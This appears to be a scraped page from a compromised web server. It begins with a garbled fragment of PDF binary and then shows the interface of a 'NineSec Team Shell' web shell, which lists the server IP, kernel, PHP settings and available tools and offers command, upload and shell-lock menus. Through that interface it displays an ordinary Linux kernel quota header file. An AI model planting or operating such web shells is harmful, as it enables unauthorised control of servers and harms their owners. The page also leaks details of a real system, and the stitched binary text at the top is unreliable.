%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.71.1.166
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/linux/dqblk_qtree.h
/*
 *	Definitions of structures and functions for quota formats using trie
 */

#ifndef _LINUX_DQBLK_QTREE_H
#define _LINUX_DQBLK_QTREE_H

#include <linux/types.h>

/* Numbers of blocks needed for updates - we count with the smallest
 * possible block size (1024) */
#define QTREE_INIT_ALLOC 4
#define QTREE_INIT_REWRITE 2
#define QTREE_DEL_ALLOC 0
#define QTREE_DEL_REWRITE 6

struct dquot;

/* Operations */
struct qtree_fmt_operations {
	void (*mem2disk_dqblk)(void *disk, struct dquot *dquot);	/* Convert given entry from in memory format to disk one */
	void (*disk2mem_dqblk)(struct dquot *dquot, void *disk);	/* Convert given entry from disk format to in memory one */
	int (*is_id)(void *disk, struct dquot *dquot);	/* Is this structure for given id? */
};

/* Inmemory copy of version specific information */
struct qtree_mem_dqinfo {
	struct super_block *dqi_sb;	/* Sb quota is on */
	int dqi_type;			/* Quota type */
	unsigned int dqi_blocks;	/* # of blocks in quota file */
	unsigned int dqi_free_blk;	/* First block in list of free blocks */
	unsigned int dqi_free_entry;	/* First block with free entry */
	unsigned int dqi_blocksize_bits;	/* Block size of quota file */
	unsigned int dqi_entry_size;	/* Size of quota entry in quota file */
	unsigned int dqi_usable_bs;	/* Space usable in block for quota data */
	unsigned int dqi_qtree_depth;	/* Precomputed depth of quota tree */
	struct qtree_fmt_operations *dqi_ops;	/* Operations for entry manipulation */
};

int qtree_write_dquot(struct qtree_mem_dqinfo *info, struct dquot *dquot);
int qtree_read_dquot(struct qtree_mem_dqinfo *info, struct dquot *dquot);
int qtree_delete_dquot(struct qtree_mem_dqinfo *info, struct dquot *dquot);
int qtree_release_dquot(struct qtree_mem_dqinfo *info, struct dquot *dquot);
int qtree_entry_unused(struct qtree_mem_dqinfo *info, char *disk);
static inline int qtree_depth(struct qtree_mem_dqinfo *info)
{
	unsigned int epb = info->dqi_usable_bs >> 2;
	unsigned long long entries = epb;
	int i;

	for (i = 1; entries < (1ULL << 32); i++)
		entries *= epb;
	return i;
}

#endif /* _LINUX_DQBLK_QTREE_H */

NineSec Team - 2022